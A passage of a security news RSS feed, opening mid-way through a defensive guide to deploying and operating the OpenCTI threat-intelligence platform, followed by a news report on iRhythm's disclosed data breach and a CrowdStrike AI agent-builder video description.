self.helper.api.report.read(id=entity_id)<br>    # Skip reports with low confidence (e.g. AlienVault auto-generated)<br>    if report.get("confidence", 0) &lt; 40:<br>        return "Skipped: low confidence"<br>    return self._enrich_report(report)</pre><h4>9.7 Rules Engine (CE Automation)</h4><p><strong>Note:</strong> Playbooks are an Enterprise Edition feature. The Community Edition uses the built-in Rules Engine, which automatically infers and propagates relationships as data arrives.</p><p>All 20 rules are enabled. To verify or toggle: <strong>Settings → Customization → Rules</strong></p><p>To enable all rules via API (already done — included for re-initialization):</p><pre>RULES="attribution_attribution attribution_targets indicate_sighted attribution_use \<br>localization_of_targets location_location location_targets participate-to_parts \<br>observable_related observe_sighting part_part part-of_targets sighting_incident \<br>sighting_observable sighting_indicator report_ref_identity_part_of \<br>report_ref_indicator_based_on report_ref_observable_based_on \<br>report_ref_location_located_at parent_technique_use"<br>TOKEN=$(grep OPENCTI_ADMIN_TOKEN /home/andrey/openCTI/.env | cut -d= -f2)<br>for rule in $RULES; do<br>  curl -s -X POST http://localhost:8080/graphql \<br>    -H "Authorization: Bearer $TOKEN" \<br>    -H "Content-Type: application/json" \<br>    -d "{\"query\":\"mutation { ruleSetActivation(id: \\\"$rule\\\", enable: true) { id activated } }\"}" \<br>    | python3 -c "import sys,json; d=json.load(sys.stdin); print('$rule:', d['data']['ruleSetActivation']['activated'])"<br>done</pre><p><strong>What these rules do automatically once data arrives:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*epLGa3gwJILd0FyMKdsQQg.png"></figure><p>RuleEffectattribution_attributionIf APT-X is attributed to Country-A, and APT-Y is a sub-group of APT-X → APT-Y also attributed to Country-Asighting_incidentIf an indicator is sighted, automatically raise an Incidentindicate_sightedIf indicator is sighted → infer the targeted entity from the indicator's relationshipreport_ref_indicator_based_onIf a Report references Observable X, and X has an Indicator → auto-link the Indicator to the Reportobservable_relatedIf two objects share a common Observable → infer a related-to relationshipparent_technique_useIf a sub-technique (T1059.001) is used → auto-link parent technique (T1059) as used</p><p><strong>For custom event-driven automation in CE</strong>, use a pycti script or the AI connector (section 9.1). The pycti library supports streaming the live event feed via helper.listen() — the AI connector in 9.1 uses exactly this pattern.</p><h3>10. Post-Deployment Hardening</h3><h4>10.1 Reverse Proxy with TLS (nginx)</h4><pre># /etc/nginx/sites-available/opencti<br>server {<br>    listen 443 ssl http2;<br>    server_name opencti.yourdomain.com;<br>ssl_certificate     /etc/letsencrypt/live/opencti.yourdomain.com/fullchain.pem;<br>    ssl_certificate_key /etc/letsencrypt/live/opencti.yourdomain.com/privkey.pem;<br>    ssl_protocols       TLSv1.2 TLSv1.3;<br>    ssl_ciphers         ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384;<br>    location / {<br>        proxy_pass         http://127.0.0.1:8080;<br>        proxy_set_header   Host $host;<br>        proxy_set_header   X-Real-IP $remote_addr;<br>        proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;<br>        proxy_set_header   X-Forwarded-Proto $scheme;<br>        proxy_read_timeout 300s;<br>        client_max_body_size 100m;<br>    }<br>}<br>server {<br>    listen 80;<br>    server_name opencti.yourdomain.com;<br>    return 301 https://$host$request_uri;<br>}</pre><h4>10.2 Backup Strategy</h4><pre>#!/bin/bash<br># /home/andrey/openCTI/scripts/backup.sh<br>set -euo pipefail<br>BACKUP_DIR="/mnt/backup/opencti/$(date +%Y%m%d_%H%M%S)"<br>mkdir -p "$BACKUP_DIR"<br># Snapshot ElasticSearch<br>curl -s -u elastic:${ELASTIC_PASSWORD} \<br>  -X PUT "http://localhost:9200/_snapshot/backup/snapshot_$(date +%Y%m%d)" \<br>  -H 'Content-Type: application/json' \<br>  -d '{"indices": "*", "ignore_unavailable": true}'<br># Dump MinIO (reports, files)<br>docker run --rm \<br>  --network opencti_network \<br>  -v "$BACKUP_DIR:/backup" \<br>  minio/mc:latest \<br>  mirror myminio/opencti /backup/minio/<br>echo "Backup completed: $BACKUP_DIR"</pre><h4>10.3 Security Checklist</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hjQWso4p7MIiBfcRr15oZw.png"></figure><ul><li>Change all default passwords in .env</li><li>Generate unique UUID4 tokens for every connector</li><li>Enable TLS via nginx reverse proxy</li><li>Restrict port 8080 to localhost only (127.0.0.1:8080:8080)</li><li>Enable ElasticSearch authentication (already configured above)</li><li>Set up fail2ban on the nginx access log</li><li>Rotate OPENCTI_ADMIN_TOKEN every 90 days</li><li>Review TLP markings — ensure nothing RED leaks via TAXII</li><li>Enable audit logging: APP__APP_LOGS__LOGS_LEVEL: info</li></ul><h3>11. Operational Runbook</h3><h4>Day 1 — Initial Data Load</h4><pre># MITRE ATT&amp;CK loads first (foundational framework)<br># Wait ~10 minutes for it to complete, then verify:<br>TOKEN=$(grep OPENCTI_ADMIN_TOKEN /home/andrey/openCTI/.env | cut -d= -f2)<br><br>curl -s -X POST http://localhost:8080/graphql \<br>  -H "Authorization: Bearer $TOKEN" \<br>  -H "Content-Type: application/json" \<br>  -d '{"query": "{ attackPatterns { edges { node { name } } } }"}' | \<br>  python3 -c "import sys,json; d=json.load(sys.stdin); print('Techniques loaded:', len(d['data']['attackPatterns']['edges']))"<br># Should return 500+ techniques</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V2XGUwLrUpe1XNLUono5Ng.png"></figure><h4>Common Operations</h4><pre># Check all connector health<br>docker compose -f docker-compose.connectors.yml ps<br># View connector logs<br>docker compose -f docker-compose.connectors.yml logs --tail=50 connector-alienvault<br># Restart a stuck connector<br>docker compose -f docker-compose.connectors.yml restart connector-malwarebazaar<br># Scale workers for high ingest load<br>docker compose -f docker-compose.yml up -d --scale worker=5<br># Check ElasticSearch cluster health<br>curl -s -u elastic:${ELASTIC_PASSWORD} http://localhost:9200/_cluster/health?pretty<br># Check RabbitMQ queue depth (should stay near 0 at rest)<br>docker exec $(docker ps -qf name=rabbitmq) rabbitmqctl list_queues name messages</pre><h4>Monitoring Metrics to Watch</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dn9gJsZa98wedqD6PdcrQA.png"></figure><h4>Quick Reference</h4><pre># Start everything<br>cd /home/andrey/openCTI<br>docker network create opencti_network 2&gt;/dev/null || true<br>docker compose -f docker-compose.yml up -d<br>docker compose -f docker-compose.connectors.yml up -d<br>docker compose -f docker-compose.ai.yml up -d<br># Stop everything<br>docker compose -f docker-compose.ai.yml down<br>docker compose -f docker-compose.connectors.yml down<br>docker compose -f docker-compose.yml down<br># Access<br># UI:      http://localhost:8080<br># API:     http://localhost:8080/graphql<br># MinIO:   http://localhost:9001<br># RabbitMQ: http://localhost:15672</pre><h3>12. Troubleshooting</h3><h3>Known Issues — OpenCTI 6.2.0 + ElasticSearch 8.13</h3><h4>ILM Race Condition (resource_already_exists_exception)</h4><p>ES 8.13’s ILM daemon auto-bootstraps rollover indices the moment an index template with lifecycle.rollover_alias is created. OpenCTI's elCreateIndex does a check-then-create which loses the race. This kills initialization and loops with restart: always.</p><p><strong>Fix already applied:</strong> patches/back.js is mounted over the compiled bundle and makes elCreateIndex idempotent — it catches resource_already_exists_exception and returns null.</p><p><strong>Re-initialization procedure</strong> (if ES volume is dropped):</p><pre># 1. Delete any leftover index templates from a failed run<br>curl -s -u elastic:${ELASTIC_PASSWORD} -X DELETE \<br>  "http://localhost:9200/_index_template/opencti*"</pre><pre># 2. Flush Redis state<br>docker exec opencti-redis-1 redis-cli -a opencti FLUSHALL</pre><pre># 3. Start ES first, wait for green/yellow<br>docker compose up -d elasticsearch<br>until curl -s -u elastic:${ELASTIC_PASSWORD} \<br>  <a href="http://localhost:9200/_cluster/health">http://localhost:9200/_cluster/health</a> | grep -q '"status":"green"\|"status":"yellow"'; do<br>  sleep 5; done</pre><pre># 4. Start the rest — OpenCTI will create 13 indices and load base STIX data (~5-10 min)<br>docker compose up -d</pre><h4>ElasticSearch Disk Watermark (cluster RED, no shard allocation)</h4><p>ES 8.x refuses all shard allocation when disk exceeds 90% high watermark. cluster.routing.allocation.disk.threshold_enabled=false is set in docker-compose.yml.</p><p>To reclaim disk space:</p><pre>docker system prune -a   # frees ~47 GB of unused images/containers</pre><h4>Connectors Can’t Reach opencti Hostname</h4><p>Both compose files must share the same Docker network. docker-compose.yml defines:</p><pre>networks:<br>  default:<br>    name: opencti_network<br>    external: true</pre><p>If the main stack was started without this, run:</p><pre>docker network connect --alias opencti opencti_network opencti-opencti-1</pre><p>Then add the networks: block to docker-compose.yml and run docker compose up -d to make it permanent.</p><h4>OPENCTI_TOKEN vs CONNECTOR_ID</h4><p>Connectors authenticate to OpenCTI using OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}. The per-connector UUID variables (CONNECTOR_MITRE_TOKEN, etc.) are only used as CONNECTOR_ID — they identify the connector instance in the UI, not for authentication.</p><h4>CVE Connector — Zero Vulnerabilities Imported (NVD API Key Bug)</h4><p>connector-cve:6.2.0 has a bug: it sends the NVD API key as Bearer: &lt;key&gt; in the HTTP header, but NVD 2.0 API requires apiKey: &lt;key&gt;. The connector silently gets a non-200 response and imports nothing. Additionally, CVE_MAX_DATE_RANGE is required but missing from the image's default config — omitting it causes a TypeError: '&gt;' not supported between instances of 'NoneType' and 'int' crash every 60 seconds.</p><p><strong>Fix:</strong> Mount a patched api.py that uses the correct header, and add the missing vars:</p><pre>connector-cve:<br>  image: opencti/connector-cve:6.2.0<br>  volumes:<br>    - ./patches/cve/api.py:/opt/opencti-connector-cve/services/client/api.py:ro<br>  environment:<br>    CVE_MAX_DATE_RANGE: 120<br>    CVE_MAINTAIN_DATA: "true"<br>    # ... other vars</pre><p>patches/cve/api.py — change header from "Bearer": api_key to "apiKey": api_key:</p><pre>headers = {"User-Agent": header}<br>if api_key:<br>    headers["apiKey"] = api_key</pre><h3>13. Usage Examples</h3><h4>13.1 Standard OpenCTI Workflows</h4><h4>Example 1 — Investigate an IP address</h4><p>You received an alert from your SIEM about suspicious outbound traffic to 103.113.70.102.</p><p><strong>In OpenCTI UI:</strong></p><pre>Search → type 103.113.70.102</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2k7QE2Urnr8tw_xJ2MyAPA.png"></figure><p>If AlienVault or URLhaus has seen it, you’ll find:</p><ul><li>Which threat actor uses this IP as C2</li><li>What malware family communicates with it</li><li>When it was first/last observed</li><li>TLP marking and confidence score</li><li>All reports that mention it</li></ul><p><strong>Via API:</strong></p><pre>TOKEN=$(grep OPENCTI_ADMIN_TOKEN /home/andrey/openCTI/.env | cut -d= -f2)<br>curl -s -X POST http://localhost:8080/graphql \<br>  -H "Authorization: Bearer $TOKEN" \<br>  -H "Content-Type: application/json" \<br>  -d '{"query": "{ stixCyberObservables(filters: {mode: and, filters: [{key: \"value\", values: [\"https://103.113.70.102/bin/support.client.exe\"]}], filterGroups: []}) { edges { node { id entity_type ... on Url { value } } } } }"}' | python3 -m json.tool</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fe53xHSxwntH5knkGjSO6g.png"></figure><h4>Example 2 — Build an APT profile</h4><p>You want to understand everything known about Lazarus Group before a threat briefing.</p><pre><br>Threats → Intrusion Sets → search "Lazarus"</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S-QNk2tNF4lgs9q6-YaTUQ.png"></figure><p>The profile shows:</p><ul><li><strong>Attributed to:</strong> North Korea</li><li><strong>Motivations:</strong> Financial gain, Espionage</li><li><strong>Targets:</strong> Finance, Cryptocurrency, Defense</li><li><strong>Malware used:</strong> WannaCry, Hermes, BLINDINGCAN (all auto-linked by MITRE connector)</li><li><strong>Techniques:</strong> 80+ ATT&amp;CK techniques with usage relationships</li><li><strong>Campaigns:</strong> Operation AppleJeus, Dream Job, etc.</li><li><strong>Timeline:</strong> chronological view of all activity</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gmvuu4OUs0uIgRZDt9p3fA.png"></figure><p>Click <strong>“ATT&amp;CK Patterns”</strong> tab → heatmap showing which techniques Lazarus uses most.</p><h4>Example 3 — Import a threat report (PDF / blog post)</h4><p>You found a Mandiant or CrowdStrike blog post about a new campaign.</p><pre>Data → Import → drag and drop the PDF or paste the URL<br>Select format: "Auto detect" or "Report"</pre><p>OpenCTI parses it and creates a Report object. The AI enrichment connector then picks it up automatically and extracts:</p><ul><li>Threat actors mentioned</li><li>Malware families</li><li>ATT&amp;CK technique IDs</li><li>Targeted sectors and countries</li></ul><p>All as STIX relationships, visible immediately in the UI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zPViHJ6GKjMeHMtM8240gg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YQBdTFlcQ_q9NcblRik5pw.png"></figure><h4>Example 4 — Track a CVE across your environment</h4><p>CVE-2024–21762 (Fortinet FortiOS RCE) was just published. Check what you know about it.</p><pre>Arsenal → Vulnerabilities → search "CVE-2024-21762"</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G9LM5wxYywcTYVdLC331jw.png"></figure><p>After the CVE connector syncs, you’ll see:</p><ul><li>CVSS score and vector</li><li>Affected software versions</li><li>Which threat actors exploit it (once AlienVault/MITRE data arrives)</li><li>Which campaigns used it</li><li>Related indicators (IPs, domains used in exploitation)</li></ul><h4>Example 5 — Create an incident from a sighting</h4><p>Your EDR detected Cobalt Strike beacon on a workstation.</p><pre>Activities → Incidents → Create<br>  Name: "CS beacon on WS-042"<br>  Type: "Intrusion"<br>  Confidence: 90<br>  Add object: link to Cobalt Strike (malware)<br>  Add object: link to T1071.001 (C2 over HTTP)<br>  Add observable: add the C2 IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zm8Mi5l-QnFsTb0jAia32A.png"></figure><p>With sighting_incident rule enabled, future detections of the same C2 IP automatically raise new incidents without manual work.</p><h4>Example 6 — Export IOCs to your firewall / SIEM</h4><p>You want a live blocklist of all HIGH confidence IPv4 indicators.</p><pre>Data → Indicators<br>Filter: Score &gt; 70, Type = IPv4-Addr, Valid until &gt; today<br>Export → CSV or STIX</pre><p>Or use the built-in <strong>TAXII 2.1 server</strong> to push directly to your SIEM:</p><pre>Settings → Taxii Server → Create collection "High confidence IOCs"<br>Configure your SIEM to poll: http://localhost:8080/taxii2/</pre><h4>Example 7 — Map your detection coverage against ATT&amp;CK</h4><p>You want to know which techniques you detect vs which you’re blind to.</p><pre>Technics → Attack Patterns<br>Filter by: used by (Lazarus Group)</pre><p>Cross-reference the list with your SIEM detection rules. Techniques with no detection rule = gap in coverage.</p><p>Export the filtered list as CSV and import into ATT&amp;CK Navigator for a visual heatmap of covered vs uncovered techniques.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mPwgsMfkEtXK1y1rnlj0Hw.png"></figure><h4>Example 8 — Pivot from malware to infrastructure</h4><p>You found a Ryuk ransomware sample (SHA256 hash).</p><pre>Search → paste the SHA256</pre><p>From the malware object, pivot to:</p><ul><li><strong>Related indicators</strong> → domains and IPs used for C2</li><li><strong>Used by</strong> → Wizard Spider (threat actor)</li><li><strong>Campaigns</strong> → which ransomware campaigns used this variant</li><li><strong>Techniques</strong> → T1486 (Data Encrypted for Impact), T1490 (Inhibit System Recovery)</li></ul><p>Each pivot is one click in the graph view.</p><h4>Example 9 — Share intelligence with a partner org</h4><p>You want to share a report with a partner but strip out RED-marked internal data.</p><pre>Open the report → Actions → Share<br>Select TLP level: TLP:AMBER (only partner can see it)</pre><p>Or use <strong>Workspaces → Sharing groups</strong> to create a federated share with another OpenCTI instance. All objects above RED are automatically excluded from the export.</p><h4>Example 10 — Build a custom dashboard for your sector</h4><p>Your org is in Finance. You want a live dashboard showing threats to your sector.</p><pre>Home → Dashboards → Create dashboard "Finance Threat Landscape"<br>Add widgets:<br>  - "Threat actors targeting Finance" (bar chart)<br>  - "Most used techniques against Finance" (ATT&amp;CK heatmap)<br>  - "New IOCs last 7 days" (timeline)<br>  - "Active campaigns" (list)<br>  - "CVEs affecting banking software" (table)</pre><p>Each widget auto-updates as new data arrives from connectors.</p><h4>If you like this research, <a href="https://www.paypal.com/donate/?business=W3XDKS7J9XTCG&amp;no_recurring=0&amp;item_name=Buy+me+a+coffee+%28PayPal%29+%E2%80%94+Keep+the+lab+running&amp;currency_code=USD">buy me a coffee (PayPal) — Keep the lab running</a></h4><h3>Follow for practical cybersecurity research</h3><p>If you’re interested in <strong>Offensive security,</strong> <strong>AI security, real-world attack simulations, CTI, and detection engineering</strong> — this is exactly what I focus on.</p><h4>Stay connected:</h4><p>→ <strong>Subscribe on Medium:</strong> <a href="https://medium.com/@1200km">medium.com/@1200km</a><br>→ <strong>Connect on LinkedIn:</strong> <a href="https://www.linkedin.com/in/andrey-pautov/">andrey-pautov</a><br>→ <strong>GitHub — tools &amp; labs:</strong> <a href="https://github.com/anpa1200">github.com/anpa1200</a><br>→ <strong>Contact:</strong> <a href="mailto:1200km@gmail.com">1200km@gmail.com</a></p><h4>Andrey Pautov</h4><p>Follow My Work</p><p>I publish practical cybersecurity research, CTI workflows, detection engineering notes, malware analysis projects, OpenCTI work, cloud and Kubernetes security research, AI-assisted security tooling, labs, and technical guides.</p><p>Portfolio / Knowledge Base: <a href="https://1200km.com/">https://1200km.com/</a><br>Medium: <a href="https://medium.com/@1200km">https://medium.com/@1200km</a><br>GitHub: <a href="https://github.com/anpa1200">https://github.com/anpa1200</a><br>LinkedIn: <a href="https://www.linkedin.com/in/andrey-pautov/">https://www.linkedin.com/in/andrey-pautov/</a></p><p>Andrey Pautov</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=057c9b4b9394" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/the-intelligent-shield-057c9b4b9394">The Intelligent Shield. OpenCTI</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[iRhythm Discloses Data Breach After Threat Actor Claims PHI Theft]]></title>
<description><![CDATA[Cardiac monitoring company iRhythm Technologies has disclosed a cybersecurity incident involving unauthorized access to data stored within certain third-party-hosted business applications. The company revealed details of the iRhythm data breach in a recent SEC filing, stating that sensitive infor...]]></description>
<link>https://tsecurity.de/de/3600807/it-security-nachrichten/irhythm-discloses-data-breach-after-threat-actor-claims-phi-theft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600807/it-security-nachrichten/irhythm-discloses-data-breach-after-threat-actor-claims-phi-theft/</guid>
<pubDate>Tue, 16 Jun 2026 08:20:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1101" height="614" src="https://thecyberexpress.com/wp-content/uploads/iRhythm-data-breach.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="iRhythm data breach" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/iRhythm-data-breach.webp 1101w, https://thecyberexpress.com/wp-content/uploads/iRhythm-data-breach-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/iRhythm-data-breach-1024x571.webp 1024w, https://thecyberexpress.com/wp-content/uploads/iRhythm-data-breach-768x428.webp 768w, https://thecyberexpress.com/wp-content/uploads/iRhythm-data-breach-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/iRhythm-data-breach-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/iRhythm-data-breach-750x418.webp 750w, https://thecyberexpress.com/wp-content/uploads/iRhythm-data-breach.webp 1101w, https://thecyberexpress.com/wp-content/uploads/iRhythm-data-breach-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/iRhythm-data-breach-1024x571.webp 1024w, https://thecyberexpress.com/wp-content/uploads/iRhythm-data-breach-768x428.webp 768w, https://thecyberexpress.com/wp-content/uploads/iRhythm-data-breach-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/iRhythm-data-breach-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/iRhythm-data-breach-750x418.webp 750w" sizes="(max-width: 1101px) 100vw, 1101px" title="iRhythm Discloses Data Breach After Threat Actor Claims PHI Theft 1"></p><span data-contrast="auto">Cardiac monitoring company iRhythm Technologies has disclosed a cybersecurity incident involving unauthorized access to data stored within certain third-party-hosted business applications. The company revealed details of the iRhythm data breach in a recent SEC filing, stating that sensitive information, including protected health information (PHI), may have been accessed and exfiltrated by a threat actor.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">According to the SEC filing, iRhythm identified suspicious activity on June 8 and immediately activated its <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="28714">cybersecurity</a> response protocols. The company launched an <a href="https://thecyberexpress.com/advantest-cyberattack-ransomware-investigation/" target="_blank" rel="noopener">investigation</a> with assistance from external advisors and cybersecurity specialists to determine the scope of the incident and implement containment measures.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Decoding the iRhythm Data Breach</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The company reported that on June 9, it received communications from a <a class="wpil_keyword_link" href="https://cyble.com/threat-actor/" target="_blank" rel="noopener" title="threat actor" data-wpil-keyword-link="linked" data-wpil-monitor-id="28715">threat actor</a> who claimed to have obtained "sensitive information" from the affected systems. According to iRhythm, the allegedly compromised <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="28713">data</a> included proprietary company information, patient protected health information, and other forms of personal information.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The threat actor also demanded payment in exchange for withholding the information from public disclosure.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Following the communication, iRhythm conducted additional reviews and confirmed that certain data had indeed been exfiltrated from the impacted third-party-hosted applications. By June 10, the company determined that the incident was material due to the volume of potentially affected information.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The <a href="https://www.sec.gov/ix?doc=/Archives/edgar/data/1388658/000138865826000055/irtc-20260610.htm" target="_blank" rel="nofollow noopener">SEC filing noted</a> that the company continues to investigate the full nature and scope of the iRhythm data breach.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Company Says Core Operations Remain Unaffected</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Despite the seriousness of the incident, iRhythm stated that it has not identified any disruption to its products, patient services, or operational capabilities.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">According to the SEC filing, the company has found no impact on:</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<ul>
 	<li><span data-contrast="auto">Products and services</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Clinical systems</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Medical device systems</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Patient safety</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Manufacturing operations</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Distribution activities</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Financial reporting systems</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">The company's ability to continue serving patients</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
</ul>
<span data-contrast="auto">iRhythm said the data breach at iRhythm stemmed from a <a href="https://thecyberexpress.com/university-of-pennsylvania-cyberattack/" target="_blank" rel="noopener">social engineering</a> attack targeting certain third-party-hosted business applications rather than its clinical infrastructure.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The company further emphasized that the incident did not affect its clinical or medical device systems, nor did it involve connections used by customers. Additionally, iRhythm stated that it does not store or retain individual financial account information or payment card information, reducing the likelihood that such data was compromised.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Investigation Continues as Company Assesses Impact</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">As of the latest SEC filing, iRhythm reported that it has found no evidence of ongoing unauthorized access within its systems.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The company stated that its investigation remains active and that it is continuing to evaluate the extent of the exposure and any potential consequences arising from the incident. At present, iRhythm believes the cybersecurity event is "not reasonably likely" to have a material effect on its financial condition or operating results.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The company also noted that it maintains <a href="https://thecyberexpress.com/dpdp-and-cybersecurity-rethinking-data-risk/" target="_blank" rel="noopener">cybersecurity insurance</a> that could potentially offset certain losses related to the incident. However, iRhythm cautioned that there can be no assurance that insurance coverage would fully compensate for all losses associated with the breach.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Charlotte AI AgentWorks: Build Your Security Workforce Demo]]></title>
<description><![CDATA[Author: CrowdStrike - Bewertung: 0x - Views:5 Today’s adversaries move at the speed of AI, so defenders need to reason, decide, and act faster across every stage of security operations.

Meet Charlotte AI AgentWorks, a no-code agent builder that enables teams to create mission-ready AI agents dir...]]></description>
<link>https://tsecurity.de/de/3600427/it-security-video/charlotte-ai-agentworks-build-your-security-workforce-demo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600427/it-security-video/charlotte-ai-agentworks-build-your-security-workforce-demo/</guid>
<pubDate>Tue, 16 Jun 2026 02:16:13 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: CrowdStrike - Bewertung: 0x - Views:5 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/tk95k9MM8cQ?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Today’s adversaries move at the speed of AI, so defenders need to reason, decide, and act faster across every stage of security operations.<br />
<br />
Meet Charlotte AI AgentWorks, a no-code agent builder that enables teams to create mission-ready AI agents directly inside the CrowdStrike Falcon® platform.<br />
<br />
In this video, you’ll see how Charlotte AI AgentWorks helps security teams:<br />
🔹 Define an agent’s mission using natural language and guided instructions<br />
🔹 Refine agent behavior with clarifying questions, knowledge files, model selection, authorized tools, and testing<br />
🔹 Build a SOC Risk Reduction Agent to review detections, cases, remediation activity, coverage gaps, and data ingestion health<br />
🔹 Create a Security Automation & Detection Engineering Agent to identify coverage gaps and generate review-ready detection packages<br />
🔹 Develop a Proactive Security & Compliance Readiness Agent to assess exposures, remediation status, policy alignment, and compliance gaps<br />
🔹 Summarize risk, readiness, and threat intelligence into executive-ready outputs and email updates<br />
<br />
From SOC risk review to detection engineering and compliance readiness, Charlotte AI AgentWorks turns repeatable workflows into structured, agent-driven action. Teams can define the mission, request the right output, validate results, and move from insight to action inside the Falcon platform.<br />
<br />
Every agent built in AgentWorks is secure by design, with built-in guardrails for role-based access, auditability, and human-in-the-loop controls.<br />
<br />
Ready to build your AI security workforce?<br />
<br />
Watch now to see Charlotte AI AgentWorks in action.<br />
<br />
CrowdStrike® Charlotte AI™:<br />
► Explore how Charlotte AI delivers intelligent automation and agentic workflows across the Falcon platform: https://utm.io/uqBKx<br />
<br />
📣 Connect With Us:<br />
► LinkedIn:<br />
https://www.linkedin.com/company/crowdstrike<br />
► X:<br />
https://twitter.com/CrowdStrike<br />
► Facebook:<br />
https://www.facebook.com/crowdstrike<br />
► Instagram:<br />
https://www.instagram.com/crowdstrike<br />
<br />
🔔 Subscribe and stay updated!<br />
<br />
Subscribe for more insights on AI-powered security, agentic workflows, and the latest innovations from CrowdStrike.<br />
<br />
Thanks for watching! If this sparked your interest, share it with your team and let us know what you would build with Charlotte AI AgentWorks.<br />
<br />
#CrowdStrike #CharlotteAI #AgentWorks #AgenticSOC #Cybersecurity #WeStopBreaches<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to evaluate eSignature platforms in 2026: Security, simplicity, and ROI]]></title>
<description><![CDATA[Historically, eSignature buying decisions focused on whether a solution could collect signatures quickly, integrate with email, and reduce paper usage. In 2026, the bar has moved.



While efficient eSigning is still the ultimate goal, security and compliance, ease of use, and total cost of owner...]]></description>
<link>https://tsecurity.de/de/3600090/it-security-nachrichten/how-to-evaluate-esignature-platforms-in-2026-security-simplicity-and-roi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600090/it-security-nachrichten/how-to-evaluate-esignature-platforms-in-2026-security-simplicity-and-roi/</guid>
<pubDate>Mon, 15 Jun 2026 21:45:28 +0200</pubDate>
